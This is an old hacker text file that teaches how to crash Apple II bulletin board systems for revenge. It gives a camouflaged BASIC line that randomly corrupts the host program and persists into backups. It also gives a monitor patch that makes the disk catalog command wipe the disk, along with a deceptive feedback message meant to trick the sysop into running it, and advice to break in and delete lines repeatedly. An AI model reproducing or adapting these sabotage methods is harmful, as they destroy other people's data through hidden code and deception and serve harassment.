BBS Crashing: More Nifty Trix
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     BBS Crashing: More Nifty Trix
 
 Well, I had such a fun tyme putting nifty stuff in my last t-file, I
decided to do it again. In this file I will discuss the TYME BOMB, the
SNEAKY SPUD, and THE BUGGER. They all are great for revenge, getting even,
and just being a pain in the A$$. Well, I won't keep you suspended anymore,
here they are!
 
TYME BOMB
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  This crash takes a long time to work, but there is almost no way to
detect it. It involves adding a line in a common used place, but not too
common. That means, the g-file section of a BBS is a good place, but the main
menu is not. Once you have decided where to put it, find two fat lines in that
area. These lines will be the DISGUISE LINES.  You will place a line between
them, and they will camouflage it (hopefully).  Now insert this line right
after the first disguise line, and before the second.
 
Like this:
 
  10130 XXXXXXXX DISGUISE LINE XXXXXX
 
  10134 POKE INT(RND(1)*30000)+2053,0
 
  10140 XXXXXXXX DISGUISE LINE XXXXXX
 
  This will, every time it hits line 10134, POKE a random byte in the
program to 0. All of you Applesoft hackers out there should remember
that Apple-soft uses the byte 0 to signal the end of a line; meaning: the
ends of some lines will start to disapear. I particularly like this little
trick becuz when bugs do appear in the program, they are almost never near
the line we inserted. The bugs appear so slowly that, by the time they are
discovered, a backup of the BBS program containing our little line has
usually been made. So, when the sysop begins to use his backup copy,
our little bug will again begin to gnaw away at the host program.
 
 Now lets get some terms down.
 
A crash that is inserted in the BBS and slowly destroys it is called a
PARASITE.
 
The program the parasite is killing is called the HOST PROGRAM.
  (Sounds like Biology, eh?)
 
Step by Step:
 
  1) Get into the BBS somehow
 
  2) Find a commonly used place, but not too common.
 
  3) Insert the parasite line between two disguise lines.
 
  4)>BE SURE TO SAVE THE HOST PROGRAM AFTER THE PARASITE HAS BEEN PUT
IN IT! If you don't, when the host program's computer is turned off,
the parasite will be lost.
 
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SNEAKY SPUD
 
 
    Who would a sysop least expect to crash his board? Himself! This
little crash involves modifying DOS so that when the drive is CATALOGed the
disk is INITialized instead. Now you could, yourself, INITialize the disk,
but it is much more fun to let the sysop do it for himself. Why?
 
   1) He can't find out who did it.
   2) If he crashes his own BBS, he will make himself a complete ass,
and you torment him with that information until he cries!
 
  Lets see how this done.
 
   1) Get into the moniter.
 
   2) Type "A56E:4C 4F A5<cr>"
 
   3) Exit to basic (3D0G)
 
   4) Rerun the program so it will log you off.
 
   5) Call the board back and logon new under some name like: The Tidy
      Bowl Man or Fat Albert or Utah Jack or (who gives a damn?).
 
   6) Send him some feedback that will make him catalog the disk. such
      as:
 
    Everytime I try to post or send mail to a user I get this message
then I get logged off! I'm not sure, but I think that your drive is full.
To be on the safe side, take a catalog of them and see if there are more
than 122 files. Even though you may have free sectos, you may not have
enough room in the catalog for more file names.
 
    I hope you get it fixed soon!
 
     Lat0r0n man,
 
        S p u d  P e a l e r
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   7) Logoff.
 
  Now when he sees your message and takes a CATALOG  board and initilize the
disk.

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THE BUGGER

Find a system  that is easy to break into and delete some lines of your choice.
Then save it. Do this every day or so for a month. At the end of the month the
sysop will be in the rubber room singing Jingle Bells while playing a game of
hopscotch.
 
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 Well, that wraps up another exciting episode of "CRASHING
CHRONICLES".
 
Zatz all!
 
            )>Dr. Crunch<(
 
            The Eliminator